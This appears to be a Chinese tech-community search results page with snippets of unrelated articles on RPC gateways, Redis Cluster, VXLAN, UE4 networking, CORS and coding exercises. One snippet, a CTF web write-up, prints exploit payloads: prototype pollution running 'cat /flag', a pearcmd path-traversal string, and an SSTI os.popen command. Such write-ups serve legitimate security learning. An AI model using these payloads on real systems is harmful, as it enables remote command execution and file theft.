首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏深度学习与python

    基于 Dubbo,如何利用APISIX 构建 RPC

    作者 | 王晓彬 为解决数据问题,政采云搭建了一条基于 Dubbo 的“高速公路”,同时采用了 APISIX 作为中心网关,为网络路由、公共特性提供支持。 所以对于业务来说,数据传输是一个常见的需求场景。 为了满足这种需求,政采云“高速公路”工程于 2022 年底启动,旨在整合现有的网络传输方案,提供一致、便捷和高速的业务体验。 随着方案整合的推进,公司的流量越来越多地流向了新型基础设施——政采云“高速公路”工程。 整个流程对性能影响比较大的环节有:Sdk 行为 [1,9],网络传输 [2,4,6,8] 和网关行为 [3,5,7]。 我们的 RPC 需要穿透混合云网络中的各种设备和网关,到达云岛的另一头服务。Dubbo 协议作为私有协议,在大部分的岛场景中并不适用。

    56210编辑于 2023-11-01
  • 来自专栏Python数据结构与算法

    牛客刷题-(4)

    #将最大值输出 print("%d eh o maior"%X) 这道题的难点:题目给了你两个数如何取得最大值,但是现在求三个数,我们可以先比较前两个再比较第一次取到的最大值和未比较值的大小 (4)

    20410编辑于 2024-01-18
  • 来自专栏My文章

    访问Redis Cluster的处理过程

    近期有个业务,需要访问Redis集群,这里记录下处理过程。 Redis Cluster是Redis的一个分布式实现,分区存储和备份数据,扩大了Redis的容量和并发。 内部使用二进制协议优化传输速度和带宽 (2)节点的fail是通过集群中超过半数的节点检测失效时才生效 (3)redis-cluster把所有的物理节点映射到slot上,cluster负责维护node<->slot<->value (4) 进一步了解可以看官方介绍 Redis cluster tutorial Redis 集群教程 image.png 如图所示,当前业务和Redis Cluster分属两个不同的网络,网络A、网络B之间访问 proxy from Twitter 起初尝试用Twemproxy做代理,但遗憾的是,对于redis重定向场景,Twemproxy给client返回的重定向redis节点还是网络B的IP,client仍然无法走通 经过测试,predixy会直接返回数据,不再返回重定向的节点IP,重定向过程对client完全透明,功能上正好适用于访问,问题解决。

    2.6K60发布于 2019-02-25
  • 来自专栏玉龙小栈

    工案例库】城域做VXLAN如何规划MTU?

    singleDoc 问题描述 本部核心和各站点间部署vxlan,中间穿过城域。本部使用S12700系列的交换机作核心,站点用S5700系列交换机做汇聚。 城域由mpls-vpn打通,站点与核心之间需要通过城域建立vxlan隧道。此时需要端到端之间进行MTU规划,否则报文在城域转发过程中会出现丢包现象。 在本部和站点间部署vxlan时,vxlan报文需要经过第三方承载(即上图的城域,承载网络仅做Underlay转发)由于封装vxlan后的报文比承载网络中某些设备的MTU值大(中间的设备MTU值较小) 解决方案 建议在部署vxlan前,对城域设备进行全局规划,建议如下: 建议值范围为1576~1600。建议修改的MTU最小值为1576(构成MTU1526+vxlan报文头50)。

    64720编辑于 2023-09-04
  • 来自专栏企业文件数据安全交换

    企业网文件交换 盘or类邮件模式?

    然而隔离的网络,也阻断了某些需要进行数据交换的特殊业务,使得业务无法顺利开展。 在网络隔离的条件下,企业数据交换如何轻松实现呢? 很多企业仍然使用一些传统的文件交换方式,比如盘模式,如果是建立私有盘,会极大的提高实施成本,而且使用盘进行数据交换还会存在以下问题: 1、盘只能以共享文件夹、分享链接的形式发送给接收人,而且发送出去后 《Ftrans网文件安全交换系统》创造性的使用类邮件、文件包收发模式,可以基于收发文件包的模式进行数据交换,而不只是盘的同步方式,对于交换行为的管控粒度更加精细。 这里就简单对比一下数据交换情况下网盘模式和Ftrans的类邮件、文件包收发模式的不同之处: 盘模式 文件包收发模式 核心机制 网文件夹同步 网文件包投递 发送目标 后发给自己 后发送给他人 、收件人和发送内容 存储与归档 文件没有有效期,个人负责维护与清理需对盘空间内所有文件进行归档备份比较占用存储资源 文件包过期后自动清理及归档比较节省存储资源 主要场景 的个人文档维护 的多人协作

    99630发布于 2019-09-18
  • 来自专栏乐行僧的博客

    4-渔夫打鱼晒问题

    题目: 如果一个渔夫从 2011 年 1 月 1 日开始每三天打一次渔,两天晒一次。 编程实现当输入 2011 年 1 月 1 日以后的任意一天,输出该渔夫是在打渔还是在晒。 2.对1求出的天数模5,余数为0,1,2是打渔,余数是3,4是筛网。 3.细节,闰年二月与平年二月天数不同,需要特判。闰年2月29天,平年2月28天。 4.细节,什么是闰年。 * 如果一个渔夫从 2011 年 1 月 1 日开始每三天打一次渔,两天晒一次。 编程实现当输入 2011 1 月 1 日以后的任意一天,输出该渔夫是在打渔还是在晒。 \n"); } else if (cnt % 5 == 3 || cnt % 5 == 4) { printf("shaiwang!

    43810编辑于 2022-02-25
  • 来自专栏pankas的技术分享

    拟态4道web题

    source[key]); } }else{ target[key] = source[key]; } } } 4字符命令执行也限制很多 command\":[\"-c\"],\"constructor\":{\"prototype\": {\"1\": \"cat /flag\"}}}"} 连续发两次即可拿到flag flag {AHhsDYc4hLkxcp0DkJJmBtL5gv5gQiYr 3Bs%3A61%3A%22php%3A%2F%2Ffilter%2Ftrypass%2Fread%3Dconvert.base64-encode%2Fresource%3Dhint%22%3Bs%3A4% 22trypass%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Flib%2Fphp%2Fpearcmd%22%3Bs%3A4% __builtins__['__import__']('os').popen('cat /*').read()}} flag{divTsehRNaVAaUR1eamFeKs4mmX82Kid}

    62530编辑于 2022-11-16
  • 来自专栏函数式编程语言及工具

    ScalaPB(4): 通用系统protobuf数据,sbt设置

    baseDirectory.value / "jars" //只在编译时引用 unmanagedBase in Compile := baseDirectory.value / "lib" / "main" 4

    1.4K40发布于 2018-05-28
  • 来自专栏全栈程序员必看

    springsecurity官_log4j.properties配置

    ,先把spring security做最基础配置,换几个理论上兼容的spring版本试试就行,最终选定spring 4.3.18, 较为稳定且各方面都满足需求,耗时10分钟 问题2:项目需实现3种角色4种版本登录 -- ======slf4j==================== --> <dependency> <groupId>org.slf4j</groupId> > <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-simple< -- =====log4j2============================= --> <dependency> <groupId>org.apache.logging.log4j --hibernate4 org.hibernate.cfg.ImprovedNamingStrategy --> <!

    99910编辑于 2022-08-18
  • 来自专栏跟牛老师一起学WEBGIS

    Ol4格生成以及优化

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

    65110发布于 2019-11-14
  • 来自专栏各类技术文章~

    UE4络模块解析(一)

    一、 UE4络架构 Server-Client构架 1.一个服务器,一个或多个客户端。 客户端所有的操作如击杀等都需要传到中央服务器来运算,得到的运算结果下发到各个客户端。 服务器是UE4多人游戏的重要组成部分。它做出所有重要决策,包含所有权威状态,处理客户端连接,前往新地图,处理开始比赛、结束比赛等整个游戏流程。 2.不能信任客户端,所有重要信息都需要通过服务器验证。 关于Dedicated Server的打包详情可以看第5期(2):UE4项目中使用“专用服务器(Dedicated Server)”(1) - 知乎 (zhihu.com) 4.我们是客户端时,是在操作本地角色还是远程角色 UE4中有replicate movement选项,勾上这个就会实现本地角色和远程角色的构架。

    1.1K30编辑于 2021-12-24
  • 来自专栏追宇星空

    背板以太4-2.5GBASE-KX

    2.5GBASE-KX (C128) OSI图 PHY功能 PMD相关子层 2.5GBASE-KX采用C73自协商(后续章节会详细介绍); 2.5GBASE-KX可选地支持节能以太EEE。 XGMII:32个数据信号(TXD<31:0> and RXD<31:0>), 4个控制信号(TXC<3:0> and RXC<3:0>), and 1个时钟信号(TX_CLK and RX_CLK)。 比特的并行数据执行并串转换后的串行数据发送给PMD; 上行方向:将来自PMD的串行数据先执行串并转换成并行的10比特并行数据(利用comma编码规则执行分界),再将并行的10比特的数据执行8B/10B解码转换成并行的8比特数据,并将4

    42210编辑于 2024-07-01
  • 来自专栏从零开始学 Web 前端

    详细梳理ajax4种解决方案

    前言 自动接触前端,域这个词就一直萦绕在耳畔。因为一般接手的项目都已经做好了这方面的处理,而且之前一直感觉对这方面模棱两可,所以今天就抽个时间梳理一下。 为什么需要域这个概念来自一个叫 “同源策略” 的东西。同源策略是浏览器(注意是浏览器,跟通信协议无关)上为了安全考虑实施的非常重要的安全机制。 想要获取非同源地址的数据,就要使用域。不论是 Ajax 还是域,都是为了访问服务器的数据。 你可以参考插件github官: https://github.com/chimurai/http-proxy-middleware 首先需要在你的express项目中安装该插件: npm install 只要服务器实现了CORS接口,就可以源通信。

    1.5K40发布于 2019-11-08
  • 来自专栏工业自动化

    PLC以太网段网络耦合器降工业设备网段延迟至5ms

    本文以某汽车零部件制造企业的生产线升级项目为背景,详细阐述远创智控YC8000-NAT网关(又称网段网络NAT耦合器)如何破解设备网段通讯瓶颈,为工业设备联网提供高效解决方案。 为此,企业急需无需修改原系统、支持多设备接入的PLC以太网段网络耦合器解决方案。 方案设计采用“集中部署+分区管理”模式,生产线三个区域各部署1台YC8000-NAT网关,通过其两口LAN口接入同区域多设备,WAN口连接MES网段,实现“口转网口”直接对接,既减少部署量又降低单网关故障影响 采用“口转网口”对接,无需修改原系统软硬件及更换线缆,适配老旧设备。两口LAN口支持2台设备同时接入,配合交换机可扩展至数十台,解决普通耦合器单台接入局限。高稳定性与安全性适配工业场景。 作为专业PLC以太网段网络耦合器,YC8000-NAT网关可广泛应用于化工、纺织等多领域,以客户需求为导向的设计打破传统设备局限,为企业设备联网升级提供可复制方案,助力制造业智能转型。

    22310编辑于 2025-10-29
  • 来自专栏Kirito的技术分享

    【千米】从语言调用到dubbo2.js

    dubbo2.js (https://github.com/dubbo/dubbo2.js) 是 千米 (https://www.qianmi.com/) 贡献给 dubbo 社区的一款 nodejs 国内使用最多的服务治理框架非阿里开源的 dubbo 莫属,千米也选择了 dubbo 作为微服务治理框架。 通用协议的支持 事实上,大多数服务治理框架都支持多种协议,dubbo 框架除默认的 dubbo 协议之外,还有当当扩展的 rest 协议和千米扩展的 json-rpc 协议可供选择。 千米在早期实践中采用了 json-rpc 作为 dubbo 的语言协议实现,并开源了基于 json-rpc 协议下的 python 客户端 dubbo-client-py 和 node 客户端 dubbo-node-client 千米便实现了这一点,nodejs 构建的前端业务是异构语言的主战场,最终实现了 dubbo2.js,打通了 nodejs 和原生 dubbo 协议。

    1.1K10发布于 2018-07-25
  • 来自专栏简书专栏

    基于bs4+requests的蓝房爬虫

    spyder方便查看变量 或者可以查看生成的excel文件 2.依赖库,命令行运行(WIN10打开命令行快捷键:windows+x组合键,然后按a键): pip install BeautifulSoup4 pip install requests 3.爬取的网站是蓝房(厦门),可以进入http://house.lanfw.com/xm/search-y1/进行观察 4.关于如何判断代码是python2 " Created on Mon Jan 15 21:35:52 2018 @author: Steven Lei """ def getHousesDetails(url): from bs4

    45510发布于 2018-09-10
  • 来自专栏安恒信息

    2017安年报连载4:勒索病毒专题分析

    ? ? ? ? ? ? ?

    51850发布于 2018-04-09
  • 来自专栏追宇星空

    背板以太7--10GBASE-KX4

    10GBASE-KX4 (71) OSI图 PHY功能 PMD相关子层 10GBASE-KX4采用C73自协商(后续章节会详细介绍); 10GBASE-KX4可选地支持节能以太EEE。 (4个XAUI lanes),每个通道分别执行并串转换和8B/10B编码。 MDIO功能映射 与10GBASE-KX4 PMD相关的寄存器集中在C45寄存器DeviceID=1(PMA/PMD)里。下面做一个简单的介绍。 控制变量映射 状态变量映射 PMD功能特性 链路框图 信号检测功能 10GBASE-KX4 PMD支持EEE时,信号检测功能必需支持; 10GBASE-KX4 PMD不支持EEE时,信号检测功能可选支持 ; 发送关闭功能 10GBASE-KX4 PMD支持EEE时,发送关闭功能必需支持; 10GBASE-KX4 PMD不支持EEE时,发送关闭功能可选支持; PMD电气特性 发送方向(Per Lane)

    32610编辑于 2024-07-01
  • 来自专栏软考网工笔记

    【25软考工】第四章(4)无线局域WLAN安全技术、无线个人WPAN

    一、无线局域安全技术 1. 认证机制:采用802.1x认证(用户名+密码) 密钥长度:128+48位初始向量IV(WEP的两倍)用于RC4加密 加密增强:RC4算法改进+TKIP协议(频繁地变换密钥来减少安全风险) 应用案例 1)例题:无线局域加密方式 考点:WPA2加密算法组成 关键:WAP2使用CCMP基于AES,同时兼容TKIP 排除项:DES和RSA不用于WLAN加密,无线网络使用RC4比较多 答案:A( WPAN) 无线个人(Wireless Peronal Area Network,WPAN),覆盖半径10m左右 1. 目标定位: 瞄准速率更低、距离更近、更省电的无线个人。 适用设备: 适用于固定的、手持的或移动的电子设备,这些设备一般使用电池供电,电池寿命可以长达几年。

    23910编辑于 2026-01-13
  • 来自专栏Dotnet9

    开源.NET 7和Blazor组合开发的平台边缘采集-ThingsGateway

    作者:Diego 仓库地址:https://gitee.com/diego2098/ThingsGateway 介绍 基于Net6/7+Blazor Server的平台边缘采集网关,支持南北端插件式开发 设备采集[1] Mqtt转发[2] 文档 使用前请查看Gitee Pages 文档站点[3] 补充说明 使用OPC相关插件时请遵循OPC基金会的授权规则 使用OPCDA插件时,需安装OPC核心库,文件地址[4] thingsgateway/docs/08%E3%80%81Demo/mqttclientdemo [3] 文档站点: https://diego2098.gitee.io/thingsgateway/ [4]

    64640编辑于 2023-08-31
领券